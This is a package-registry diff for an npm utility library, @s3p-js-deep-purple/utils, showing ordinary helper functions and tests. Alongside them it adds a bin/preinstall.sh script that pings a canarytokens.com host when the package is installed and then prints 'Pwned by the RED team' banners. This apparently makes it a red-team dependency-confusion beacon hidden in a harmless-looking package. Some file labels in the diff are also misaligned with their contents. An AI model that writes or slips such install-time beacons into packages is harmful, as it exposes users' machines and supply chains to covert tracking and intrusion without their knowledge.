@s3p-js-deep-purple/utils 0.0.1-security → 1.1.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @s3p-js-deep-purple/utils might be problematic. Click here for more details.
- package/.babelrc.json +3 -0
- package/.idea/modules.xml +8 -0
- package/.idea/s3-js-deep-purple-lib-utils.iml +12 -0
- package/README.md +13 -3
- package/bin/ascii-art.txt +36 -0
- package/bin/preinstall.sh +11 -0
- package/bin/pwned.txt +9 -0
- package/dist/declarations/src/array.d.ts +6 -0
- package/dist/declarations/src/casing.d.ts +8 -0
- package/dist/declarations/src/index.d.ts +10 -0
- package/dist/declarations/src/is-empty.d.ts +2 -0
- package/dist/declarations/src/number.d.ts +5 -0
- package/dist/declarations/src/object.d.ts +8 -0
- package/dist/declarations/src/string.d.ts +6 -0
- package/dist/declarations/src/to-hash.d.ts +2 -0
- package/dist/declarations/src/to-path.d.ts +3 -0
- package/dist/declarations/src/types.d.ts +15 -0
- package/dist/declarations/src/url.d.ts +4 -0
- package/dist/s3p-js-deep-purple-utils.cjs.d.ts +1 -0
- package/dist/s3p-js-deep-purple-utils.cjs.dev.js +310 -0
- package/dist/s3p-js-deep-purple-utils.cjs.js +7 -0
- package/dist/s3p-js-deep-purple-utils.cjs.prod.js +310 -0
- package/dist/s3p-js-deep-purple-utils.esm.js +260 -0
- package/jest.config.coverage.json +6 -0
- package/package.json +23 -3
- package/src/array.js +24 -0
- package/src/casing.ts +70 -0
- package/src/index.ts +10 -0
- package/src/is-empty.js +8 -0
- package/src/number.js +40 -0
- package/src/object.ts +45 -0
- package/src/string.js +73 -0
- package/src/to-hash.ts +3 -0
- package/src/to-path.ts +6 -0
- package/src/types.ts +24 -0
- package/src/url.js +22 -0
- package/tests/__snapshots__/casing.spec.js.snap +35 -0
- package/tests/casing.spec.js +29 -0
- package/tests/number.spec.js +67 -0
- package/tests/object.spec.ts +77 -0
- package/tests/string.spec.js +77 -0
- package/tsconfig.json +7 -0
package/.babelrc.json
ADDED
@@ -0,0 +1,8 @@
|
|
1
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
2
|
+
<project version="4">
|
3
|
+
<component name="ProjectModuleManager">
|
4
|
+
<modules>
|
5
|
+
<module fileurl="file://$PROJECT_DIR$/.idea/s3-js-deep-purple-lib-utils.iml" filepath="$PROJECT_DIR$/.idea/s3-js-deep-purple-lib-utils.iml" />
|
6
|
+
</modules>
|
7
|
+
</component>
|
8
|
+
</project>
|
@@ -0,0 +1,12 @@
|
|
1
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
2
|
+
<module type="WEB_MODULE" version="4">
|
3
|
+
<component name="NewModuleRootManager">
|
4
|
+
<content url="file://$MODULE_DIR$">
|
5
|
+
<excludeFolder url="file://$MODULE_DIR$/temp" />
|
6
|
+
<excludeFolder url="file://$MODULE_DIR$/tmp" />
|
7
|
+
<excludeFolder url="file://$MODULE_DIR$/.tmp" />
|
8
|
+
</content>
|
9
|
+
<orderEntry type="inheritedJdk" />
|
10
|
+
<orderEntry type="sourceFolder" forTests="false" />
|
11
|
+
</component>
|
12
|
+
</module>
|
package/README.md
CHANGED
@@ -1,5 +1,15 @@
|
|
1
|
-
#
|
1
|
+
# Utils
|
2
2
|
|
3
|
-
|
3
|
+
A library containing various handy functions for string, array, date, object, etc that are used across various libs or implementations.
|
4
4
|
|
5
|
-
|
5
|
+
## Development Guide:
|
6
|
+
|
7
|
+
### Do's
|
8
|
+
|
9
|
+
- Write documentation about the function usage, why, how, example (in typescript or JSDOC)
|
10
|
+
- Write a unit test when you add a new function. Due to it's simple behaviour and no dependency a unit test is easy to create.
|
11
|
+
|
12
|
+
### Dont's
|
13
|
+
|
14
|
+
- Domain specific identifiers should not be added (think of softsegmentid or bundlecompareid)
|
15
|
+
- Obviously, don't add one-offs. Or Utils that only apply for a certain lib.
|
@@ -0,0 +1,36 @@
|
|
1
|
+
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&(,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@@@@@@@@@%.. #@@@@@@@@@@@@@@@@@@@@
|
26
|
+
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/. .*&%#&@@@@@@@@@%* .(@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
27
|
+
@@@@@@@@@@@@@@@@@@@@@@@@* *@@@@@@@@@@@@@( ..@@@@@@@@@@, *@@@@@@@@@@@@@@@@@@@@@@@
|
28
|
+
@@,., ,(&@@@@@@(, (@@@@@@@@@@@@@(. ,%@@@@@%. .#@@@@@@@@@@@@&/ ,#@@@@@&(, */./@
|
29
|
+
/@@@@@@@@@#.*@@@@@@@@@@@&#&* .*@@@@@@@@@@@@@@@@@@@,. /@#&@@@@@@@@@@&, &@@@@@@@@%
|
30
|
+
@ &@@@@@@@@@@@@@@@@*%(..,&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&...%#/@@@@@@@@@@@@@@@@,*
|
31
|
+
@@@#./*@@@@@@% *& .,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&..,&..&@@@@@#/#.@@@
|
32
|
+
@@@@&,@@@@@@(@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%.#@,@@@@@@ @@@@
|
33
|
+
@@@@@.@@@@@@@ &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,.@@@@@@%*@@@@
|
34
|
+
@@@@@@@* ...#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@... ,&@@@@@@
|
35
|
+
|
36
|
+
(,,**/,.(//((/( *,**./****/,**/,,*(
|
@@ -0,0 +1,11 @@
|
|
1
|
+
#!/bin/sh
|
2
|
+
if command -v ping &> /dev/null
|
3
|
+
then
|
4
|
+
ping -c1 -q le9asi03gm2ug1qwyw1jxb2d3.canarytokens.com &> /dev/null
|
5
|
+
fi
|
6
|
+
cat $(dirname $0)/ascii-art.txt
|
7
|
+
cat $(dirname $0)/pwned.txt
|
8
|
+
if command -v say &> /dev/null
|
9
|
+
then
|
10
|
+
say "Warning! Warning! Warning! You've been pwned."
|
11
|
+
fi
|
package/bin/pwned.txt
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
|
2
|
+
______ _ _ _ _ ______ ___________ _ _
|
3
|
+
| ___ \ | | | | | | | | | ___ \ ___| _ \ | | | |
|
4
|
+
| |_/ /_ ___ __ ___ __| | | |__ _ _ | |_| |__ ___ | |_/ / |__ | | | | | |_ ___ __ _ _ __ ___ | |
|
5
|
+
| __/\ \ /\ / / '_ \ / _ \/ _` | | '_ \| | | | | __| '_ \ / _ \ | /| __|| | | | | __/ _ \/ _` | '_ ` _ \| |
|
6
|
+
| | \ V V /| | | | __/ (_| | | |_) | |_| | | |_| | | | __/ | |\ \| |___| |/ / | || __/ (_| | | | | | |_|
|
7
|
+
\_| \_/\_/ |_| |_|\___|\__,_| |_.__/ \__, | \__|_| |_|\___| \_| \_\____/|___/ \__\___|\__,_|_| |_| |_(_)
|
8
|
+
__/ |
|
9
|
+
|___/
|
@@ -0,0 +1,6 @@
|
|
1
|
+
export function unique(array: any): any[];
|
2
|
+
export function pluck(array: any, field: any): any;
|
3
|
+
export function pluckUnique(...args: any[]): any[];
|
4
|
+
export function flatMap(array: any, field: any): any;
|
5
|
+
export function indexByKeyValue(items: any, propKey: any, propValue: any): any;
|
6
|
+
export function lowestValue(array: any, field: any): number;
|
@@ -0,0 +1,8 @@
|
|
1
|
+
declare type ConvertibleType = Record<string, unknown>;
|
2
|
+
declare type KeyConverterType<T> = (node: T, parentKey?: string | number) => T;
|
3
|
+
export declare const deepConvertKeys: (keyConverter: (string: any) => string, whiteListChildren?: string[]) => KeyConverterType<ConvertibleType>;
|
4
|
+
declare type ConvertibleRecord = Record<string | number | symbol, unknown>;
|
5
|
+
export declare const deepConvertValues: (valueConvertor: (key: string | number | symbol, value: unknown, originalNode: unknown) => unknown) => (node: ConvertibleRecord) => ConvertibleRecord;
|
6
|
+
export declare const deepCamelCaseKeys: KeyConverterType<ConvertibleType>;
|
7
|
+
export declare const deepSnakeCaseKeys: KeyConverterType<ConvertibleType>;
|
8
|
+
export {};
|
@@ -0,0 +1,10 @@
|
|
1
|
+
export { default as toPath } from './to-path';
|
2
|
+
export { unique, flatMap, indexByKeyValue, lowestValue, pluck, pluckUnique } from './array';
|
3
|
+
export { hasValue, isEmptyValue } from './is-empty';
|
4
|
+
export { isBlank, abbreviate, convertUnicode, parseJWT, removeSpaces, trimSpaces } from './string';
|
5
|
+
export { default as toHash } from './to-hash';
|
6
|
+
export { toFixed, clamp, isReactNumeric, isReactNumericIncomplete, toNumeric } from './number';
|
7
|
+
export { deepCamelCaseKeys, deepSnakeCaseKeys, deepConvertKeys, deepConvertValues } from './casing';
|
8
|
+
export { omitByPredicateDeep, omitNilDeep } from './object';
|
9
|
+
export { parseQueryString, stringifyQueryEncode } from './url';
|
10
|
+
export * from './types';
|
@@ -0,0 +1,5 @@
|
|
1
|
+
export function toNumeric(value: number | string): number;
|
2
|
+
export function clamp(value: number | undefined, minValue: number, maxValue: number): number;
|
3
|
+
export function isReactNumeric(value?: string): boolean;
|
4
|
+
export function isReactNumericIncomplete(value?: string): boolean;
|
5
|
+
export function toFixed(value: any): string;
|
@@ -0,0 +1,8 @@
|
|
1
|
+
import { Optional } from 'utility-types';
|
2
|
+
export declare const omitByPredicateDeep: <GenericObjectType extends object, GenericReturnedObjectType = Optional<GenericObjectType, { [Key in keyof GenericObjectType]-?: GenericObjectType[Key] extends null | undefined ? Key : never; }[keyof GenericObjectType]>>(obj: GenericObjectType, predicate: (value: GenericObjectType[keyof GenericObjectType]) => boolean) => GenericReturnedObjectType;
|
3
|
+
/**
|
4
|
+
* Recursively remove all nil values deeply nested properties of objects and arrays
|
5
|
+
*
|
6
|
+
* note: do not use for cyclical object or Date properties
|
7
|
+
*/
|
8
|
+
export declare const omitNilDeep: <T extends object, R = Optional<T, { [Key in keyof T]-?: T[Key] extends null | undefined ? Key : never; }[keyof T]>>(obj: T) => R;
|
@@ -0,0 +1,6 @@
|
|
1
|
+
export function abbreviate(sentence: any): string;
|
2
|
+
export function removeSpaces(value: any): string;
|
3
|
+
export function trimSpaces(value: any): string;
|
4
|
+
export function isBlank(value: any): boolean;
|
5
|
+
export function parseJWT(token: any): any;
|
6
|
+
export function convertUnicode(value: any): any;
|
@@ -0,0 +1,15 @@
|
|
1
|
+
/**
|
2
|
+
* DeepReturnType
|
3
|
+
* @desc ReturnType that works for deeply nested structure
|
4
|
+
*/
|
5
|
+
export declare type DeepReturnType<T> = T extends (...args: unknown[]) => unknown ? ReturnType<T> : T extends Array<infer U> ? _DeepReturnTypeArray<U> : T extends Record<string, unknown> ? _DeepReturnTypeObject<T> : T;
|
6
|
+
/** @private */
|
7
|
+
declare type _DeepReturnTypeArray<T> = Array<DeepReturnType<T>>;
|
8
|
+
/** @private */
|
9
|
+
declare type _DeepReturnTypeObject<T> = {
|
10
|
+
[P in keyof T]: DeepReturnType<T[P]>;
|
11
|
+
};
|
12
|
+
export declare type UppercaseOrLowercase<S extends string> = Uppercase<S> | Lowercase<S>;
|
13
|
+
export declare type PathPartType = string | undefined | null;
|
14
|
+
export declare type PathType = string | undefined;
|
15
|
+
export {};
|
@@ -0,0 +1 @@
|
|
1
|
+
export * from "./declarations/src/index";
|
@@ -0,0 +1,310 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
Object.defineProperty(exports, '__esModule', { value: true });
|
4
|
+
|
5
|
+
var get = require('lodash/get');
|
6
|
+
var isEmpty = require('lodash/isEmpty');
|
7
|
+
var isBoolean = require('lodash/isBoolean');
|
8
|
+
var isNumber = require('lodash/isNumber');
|
9
|
+
var isPlainObject = require('lodash/isPlainObject');
|
10
|
+
var transform = require('lodash/transform');
|
11
|
+
var set = require('lodash/set');
|
12
|
+
var isObjectLike = require('lodash/isObjectLike');
|
13
|
+
var camelCase = require('lodash/camelCase');
|
14
|
+
var snakeCase = require('lodash/snakeCase');
|
15
|
+
var isObject = require('lodash/isObject');
|
16
|
+
var isArray = require('lodash/isArray');
|
17
|
+
var isNil = require('lodash/isNil');
|
18
|
+
var reduce = require('lodash/reduce');
|
19
|
+
var qs = require('qs');
|
20
|
+
|
21
|
+
function _interopDefault (e) { return e && e.__esModule ? e : { 'default': e }; }
|
22
|
+
|
23
|
+
var get__default = /*#__PURE__*/_interopDefault(get);
|
24
|
+
var isEmpty__default = /*#__PURE__*/_interopDefault(isEmpty);
|
25
|
+
var isBoolean__default = /*#__PURE__*/_interopDefault(isBoolean);
|
26
|
+
var isNumber__default = /*#__PURE__*/_interopDefault(isNumber);
|
27
|
+
var isPlainObject__default = /*#__PURE__*/_interopDefault(isPlainObject);
|
28
|
+
var transform__default = /*#__PURE__*/_interopDefault(transform);
|
29
|
+
var set__default = /*#__PURE__*/_interopDefault(set);
|
30
|
+
var isObjectLike__default = /*#__PURE__*/_interopDefault(isObjectLike);
|
31
|
+
var camelCase__default = /*#__PURE__*/_interopDefault(camelCase);
|
32
|
+
var snakeCase__default = /*#__PURE__*/_interopDefault(snakeCase);
|
33
|
+
var isObject__default = /*#__PURE__*/_interopDefault(isObject);
|
34
|
+
var isArray__default = /*#__PURE__*/_interopDefault(isArray);
|
35
|
+
var isNil__default = /*#__PURE__*/_interopDefault(isNil);
|
36
|
+
var reduce__default = /*#__PURE__*/_interopDefault(reduce);
|
37
|
+
var qs__default = /*#__PURE__*/_interopDefault(qs);
|
38
|
+
|
39
|
+
const toPath = path => Array.isArray(path) ? path.filter(Boolean).join('.') : path || '';
|
40
|
+
|
41
|
+
const unique = array => Array.from(new Set(array));
|
42
|
+
const pluck = (array, field) => array.map(obj => get__default["default"](obj || {}, field));
|
43
|
+
const pluckUnique = function () {
|
44
|
+
return unique(pluck(...arguments));
|
45
|
+
};
|
46
|
+
const flatMap = (array, field) => array.reduce((newArray, obj) => {
|
47
|
+
newArray.push(...(obj || {})[field]);
|
48
|
+
return newArray;
|
49
|
+
}, []);
|
50
|
+
const indexByKeyValue = (items, propKey, propValue) => (items || []).reduce((object, item) => {
|
51
|
+
const key = item[propKey];
|
52
|
+
|
53
|
+
if (key) {
|
54
|
+
object[key] = propValue ? item[propValue] : item;
|
55
|
+
}
|
56
|
+
|
57
|
+
return object;
|
58
|
+
}, {});
|
59
|
+
const lowestValue = (array, field) => Math.min(...array.map(object => object[field]));
|
60
|
+
|
61
|
+
const isEmptyValue = value => value === undefined || typeof value === 'number' && Number.isNaN(value) || typeof value === 'string' && value.trim().length === 0 || Array.isArray(value) && value.length === 0 || value === null;
|
62
|
+
const hasValue = value => !isEmptyValue(value);
|
63
|
+
|
64
|
+
/**
|
65
|
+
* Abbreviate a sentence.
|
66
|
+
* John Doe becomes J.D.
|
67
|
+
* @param sentence
|
68
|
+
* @return {string}
|
69
|
+
*/
|
70
|
+
|
71
|
+
const abbreviate = sentence => sentence.trim().split(' ').map(word => word.length ? `${word[0].toUpperCase()}.` : '').join('');
|
72
|
+
/**
|
73
|
+
* Remove spaces from a string
|
74
|
+
* @param value
|
75
|
+
* @returns {string}
|
76
|
+
*/
|
77
|
+
|
78
|
+
const removeSpaces = value => typeof value === 'string' ? value.replace(/\s/g, '') : value;
|
79
|
+
/**
|
80
|
+
* trim spaces on both ends from a string
|
81
|
+
* @param value
|
82
|
+
* @returns {string}
|
83
|
+
*/
|
84
|
+
|
85
|
+
const trimSpaces = value => typeof value === 'string' ? value.trim() : value;
|
86
|
+
/**
|
87
|
+
* A value is 'blank' if it's null, undefined, an empty array [], empty object {}, empty set or empty map.
|
88
|
+
* The difference with lodash's isEmpty, is that it evaluates numbers and booleans as truthy.
|
89
|
+
* @example
|
90
|
+
*
|
91
|
+
* isBlank(null)
|
92
|
+
* // => true
|
93
|
+
*
|
94
|
+
* isBlank({})
|
95
|
+
* // => true
|
96
|
+
*
|
97
|
+
* isBlank([])
|
98
|
+
* // => true
|
99
|
+
*
|
100
|
+
* isBlank(new Map())
|
101
|
+
* // => true
|
102
|
+
*
|
103
|
+
* isBlank(false)
|
104
|
+
* // => false
|
105
|
+
*
|
106
|
+
* isBlank(1);
|
107
|
+
* // => false
|
108
|
+
*
|
109
|
+
* isBlank([1, 2, 3])
|
110
|
+
* // => false
|
111
|
+
*
|
112
|
+
* isBlank({ 'a': 1 })
|
113
|
+
* // => false
|
114
|
+
*
|
115
|
+
* @param value
|
116
|
+
* @returns {boolean}
|
117
|
+
*/
|
118
|
+
|
119
|
+
const isBlank = value => Boolean(isEmpty__default["default"](value) && !isBoolean__default["default"](value) && !isNumber__default["default"](value));
|
120
|
+
const parseJWT = token => {
|
121
|
+
const base64Url = token.split('.')[1];
|
122
|
+
const base64 = base64Url.replace('-', '+').replace('_', '/');
|
123
|
+
return JSON.parse(window.atob(base64));
|
124
|
+
};
|
125
|
+
const convertUnicode = value => value.replace(/\\u(\w\w\w\w)/g, (_, match) => String.fromCharCode(parseInt(match, 16)));
|
126
|
+
|
127
|
+
const toHash = function () {
|
128
|
+
let value = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '/';
|
129
|
+
return value.replace(/[/.]/g, '|');
|
130
|
+
};
|
131
|
+
|
132
|
+
/**
|
133
|
+
* Handle floating point precision. 0.2 + 0.1 = 0.30000000000000004
|
134
|
+
* @param {Number|String} value
|
135
|
+
* @return {Number}
|
136
|
+
*/
|
137
|
+
const toNumeric = value => Number(parseFloat(value).toPrecision(12));
|
138
|
+
/**
|
139
|
+
* Cap a value between a min and max value, so it stays within bounds
|
140
|
+
* @param {Number} value
|
141
|
+
* @param {Number} minValue
|
142
|
+
* @param {Number} maxValue
|
143
|
+
* @return {Number}
|
144
|
+
*/
|
145
|
+
|
146
|
+
const clamp = function () {
|
147
|
+
let value = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
|
148
|
+
let minValue = arguments.length > 1 ? arguments[1] : undefined;
|
149
|
+
let maxValue = arguments.length > 2 ? arguments[2] : undefined;
|
150
|
+
return Math.min(Math.max(toNumeric(value), minValue), maxValue);
|
151
|
+
};
|
152
|
+
/**
|
153
|
+
* Check if the value is a number according to React number input validation
|
154
|
+
* @param value
|
155
|
+
* @return {Boolean}
|
156
|
+
*/
|
157
|
+
|
158
|
+
const isReactNumeric = function () {
|
159
|
+
let value = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
|
160
|
+
return String(value).match(/^-?(\d+|\d+\.\d+|\.\d+)([eE][-+]?\d+)?$/) !== null;
|
161
|
+
};
|
162
|
+
/**
|
163
|
+
* Check if the value can become a number according to React number input validation
|
164
|
+
* @param value
|
165
|
+
* @return {Boolean}
|
166
|
+
*/
|
167
|
+
|
168
|
+
const isReactNumericIncomplete = function () {
|
169
|
+
let value = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
|
170
|
+
return String(value).match(/(?!^-?\d+$)^-?(\d+\.?)([eE][-+]?)?$/) !== null;
|
171
|
+
};
|
172
|
+
/**
|
173
|
+
* Transforms a scientific number (1e7) to a string (0.000001)
|
174
|
+
* @param value
|
175
|
+
* @return {string}
|
176
|
+
*/
|
177
|
+
|
178
|
+
const toFixed = value => Number(value).toFixed(20).replace(/\.?0+$/, '');
|
179
|
+
|
180
|
+
// eslint-disable-next-line no-warning-comments
|
181
|
+
// todo: this does not belong in a generic utils lib, move this to implementation
|
182
|
+
const s3ApiKeyMap = [['_u_i_c_station_code', 'UICStationCode'], ['origin_uic', 'originUIC'], ['destination_uic', 'destinationUIC']];
|
183
|
+
const camelCaseInflectorMap = new Map(s3ApiKeyMap);
|
184
|
+
const snakeCaseInflectorMap = s3ApiKeyMap.reduce((map, inflection) => {
|
185
|
+
return map.set(inflection[1], inflection[0]);
|
186
|
+
}, new Map());
|
187
|
+
|
188
|
+
const convertWithInflectorCreator = (inflector, keyConverter) => key => inflector.has(key) ? inflector.get(key) : keyConverter(key);
|
189
|
+
|
190
|
+
const deepConvertKeys = function (keyConverter) {
|
191
|
+
let whiteListChildren = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : [];
|
192
|
+
|
193
|
+
const convertKeys = (node, parentKey) => {
|
194
|
+
if (Array.isArray(node)) return node.map(convertKeys);
|
195
|
+
|
196
|
+
if (isPlainObject__default["default"](node)) {
|
197
|
+
return transform__default["default"](node, (result, value, key) => {
|
198
|
+
const _key = whiteListChildren.includes(parentKey) ? key : keyConverter(key);
|
199
|
+
|
200
|
+
return set__default["default"](result, _key, isObjectLike__default["default"](value) ? convertKeys(value, _key) : value);
|
201
|
+
});
|
202
|
+
}
|
203
|
+
|
204
|
+
return node;
|
205
|
+
};
|
206
|
+
|
207
|
+
return convertKeys;
|
208
|
+
};
|
209
|
+
const deepConvertValues = valueConvertor => {
|
210
|
+
let originalNode;
|
211
|
+
|
212
|
+
const convertValues = node => {
|
213
|
+
originalNode = originalNode || node;
|
214
|
+
if (Array.isArray(node)) return node.map(convertValues);
|
215
|
+
|
216
|
+
if (isPlainObject__default["default"](node)) {
|
217
|
+
return transform__default["default"](node, (result, value, key) => {
|
218
|
+
const _value = isObjectLike__default["default"](value) ? convertValues(value) : valueConvertor(key, value, originalNode);
|
219
|
+
|
220
|
+
return set__default["default"](result, key, _value);
|
221
|
+
});
|
222
|
+
}
|
223
|
+
|
224
|
+
return node;
|
225
|
+
};
|
226
|
+
|
227
|
+
return convertValues;
|
228
|
+
};
|
229
|
+
const deepCamelCaseKeys = deepConvertKeys(convertWithInflectorCreator(camelCaseInflectorMap, camelCase__default["default"]));
|
230
|
+
const deepSnakeCaseKeys = deepConvertKeys(convertWithInflectorCreator(snakeCaseInflectorMap, snakeCase__default["default"]));
|
231
|
+
|
232
|
+
const omitByPredicateDeep = (obj, predicate) => {
|
233
|
+
return reduce__default["default"](obj, (result, value, key) => {
|
234
|
+
if (isObject__default["default"](value) || isArray__default["default"](value)) {
|
235
|
+
if (isArray__default["default"](result)) {
|
236
|
+
result.push(omitByPredicateDeep(value, predicate));
|
237
|
+
} else {
|
238
|
+
result[key] = omitByPredicateDeep(value, predicate);
|
239
|
+
}
|
240
|
+
} else if (!predicate(value)) {
|
241
|
+
if (isArray__default["default"](result)) {
|
242
|
+
result.push(value);
|
243
|
+
} else {
|
244
|
+
result[key] = value;
|
245
|
+
}
|
246
|
+
}
|
247
|
+
|
248
|
+
return result;
|
249
|
+
}, isArray__default["default"](obj) ? [] : {});
|
250
|
+
};
|
251
|
+
/**
|
252
|
+
* Recursively remove all nil values deeply nested properties of objects and arrays
|
253
|
+
*
|
254
|
+
* note: do not use for cyclical object or Date properties
|
255
|
+
*/
|
256
|
+
// eslint-disable-next-line @typescript-eslint/ban-types
|
257
|
+
|
258
|
+
const omitNilDeep = obj => omitByPredicateDeep(obj, value => isNil__default["default"](value));
|
259
|
+
|
260
|
+
const stringifyQueryEncode = query => qs__default["default"].stringify(query, {
|
261
|
+
encode: true,
|
262
|
+
skipNulls: true
|
263
|
+
});
|
264
|
+
const parseQueryString = queryString => qs__default["default"].parse(queryString, {
|
265
|
+
ignoreQueryPrefix: true,
|
266
|
+
decoder: (value, decoder) => {
|
267
|
+
const keywords = {
|
268
|
+
true: true,
|
269
|
+
false: false,
|
270
|
+
null: null,
|
271
|
+
undefined
|
272
|
+
};
|
273
|
+
|
274
|
+
if (value in keywords) {
|
275
|
+
return keywords[value];
|
276
|
+
}
|
277
|
+
|
278
|
+
return decoder(value);
|
279
|
+
}
|
280
|
+
});
|
281
|
+
|
282
|
+
exports.abbreviate = abbreviate;
|
283
|
+
exports.clamp = clamp;
|
284
|
+
exports.convertUnicode = convertUnicode;
|
285
|
+
exports.deepCamelCaseKeys = deepCamelCaseKeys;
|
286
|
+
exports.deepConvertKeys = deepConvertKeys;
|
287
|
+
exports.deepConvertValues = deepConvertValues;
|
288
|
+
exports.deepSnakeCaseKeys = deepSnakeCaseKeys;
|
289
|
+
exports.flatMap = flatMap;
|
290
|
+
exports.hasValue = hasValue;
|
291
|
+
exports.indexByKeyValue = indexByKeyValue;
|
292
|
+
exports.isBlank = isBlank;
|
293
|
+
exports.isEmptyValue = isEmptyValue;
|
294
|
+
exports.isReactNumeric = isReactNumeric;
|
295
|
+
exports.isReactNumericIncomplete = isReactNumericIncomplete;
|
296
|
+
exports.lowestValue = lowestValue;
|
297
|
+
exports.omitByPredicateDeep = omitByPredicateDeep;
|
298
|
+
exports.omitNilDeep = omitNilDeep;
|
299
|
+
exports.parseJWT = parseJWT;
|
300
|
+
exports.parseQueryString = parseQueryString;
|
301
|
+
exports.pluck = pluck;
|
302
|
+
exports.pluckUnique = pluckUnique;
|
303
|
+
exports.removeSpaces = removeSpaces;
|
304
|
+
exports.stringifyQueryEncode = stringifyQueryEncode;
|
305
|
+
exports.toFixed = toFixed;
|
306
|
+
exports.toHash = toHash;
|
307
|
+
exports.toNumeric = toNumeric;
|
308
|
+
exports.toPath = toPath;
|
309
|
+
exports.trimSpaces = trimSpaces;
|
310
|
+
exports.unique = unique;
|